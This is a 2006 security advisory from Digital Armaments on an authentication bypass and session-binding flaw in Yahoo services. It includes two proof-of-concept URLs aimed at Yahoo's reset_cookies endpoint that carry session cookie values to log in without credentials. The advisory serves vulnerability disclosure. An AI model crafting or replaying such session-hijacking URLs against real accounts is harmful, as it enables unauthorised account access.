Digital Armaments Security Advisory 07.12.2006: Yahoo multiple services authentication bypass Vulnerability
Digital Armaments advisory for Platinum Subcription is 06.20.2006
Digital Armaments public advisory is 12.07.2006
http://www.digitalarmaments.com/2006061285940301.html
I. Background
Yahoo! Inc. is an American computer services company with a mission to "be the
most essential global Internet service for consumers and businesses". It
operates an Internet portal, including the popular Yahoo! Mail.According to Web
trends Yahoo! is the most visited website on the Internet today with more than
400 million unique users. The global network of Yahoo! websites received 3.4
billion page views per day on average as of October 2005.
Various Yahoo! services are vulnerable to authentication bypass vulnerability.
Further information or detail about the software you can refer to the vendor's
homepage:
http://www.yahoo.com/
II. Problem Description
Authentication Bypass and Session Binding Vulnerability. A malicious user can
log on to the yahoo without submitting the username and password by
constructing a malicious URL using cookies.
Same session (URL) can be used to login multiple times from multiple IP address
leading to session binding vulnerability.
Example of Proof-of-concept ("sk" & "d" is session):
--------------------------------------------------------------------------
http://msg.edit.yahoo.com/config/reset_cookies?&.y=Y=v=1%26n=0kvgvgv3qlf11
%26l=i42.j4ij/o&.t=T=sk=DAAsN0czPhbeiv%26d=c2wBTlRVMUFUSTFNVEl4TXpnNU5EVS0
BYQFRQUUBdGlwAVNQZHhvQgF6egFnblhtRUJnV0E--&.done=http%3a//mail.yahoo.com
--------------------------------------------------------------------------
http://msg.edit.yahoo.com/config/reset_cookies?&.y=Y=v=1%26n=0kvgvgv3qlf11
%26l=i42.j4ij/o%26p=m2gvvind13000700&.t=T=sk=DAAsN0czPhbeiv%26d=c2wBTlRVMU
FUSTFNVEl4TXpnNU5EVS0BYQFRQUUBdGlwAVNQZHhvQgF6egFnblhtRUJnV0E-&.done=http
%3a//mail.yahoo.com
--------------------------------------------------------------------------
III. Detection
This problem has been detected on online version of Yahoo website.
IV. Impact analysis
A malicious user can log on to the yahoo without submitting the username and
password by constructing a malicious URL using cookies.
V. Credit
anonymous
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VI. Legal Notices
Copyright © 2006 Digital Armaments Inc..
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permission.Disclaimer: The information in the advisory is believed to be
accurate at the time of publishing based on currently available information.
Use of the information constitutes acceptance for use in an AS IS condition.
There are no warranties with regard to this information. Neither the author nor
the publisher accepts any liability for any direct, indirect, or consequential
loss or damage arising from use of, or reliance on, this information.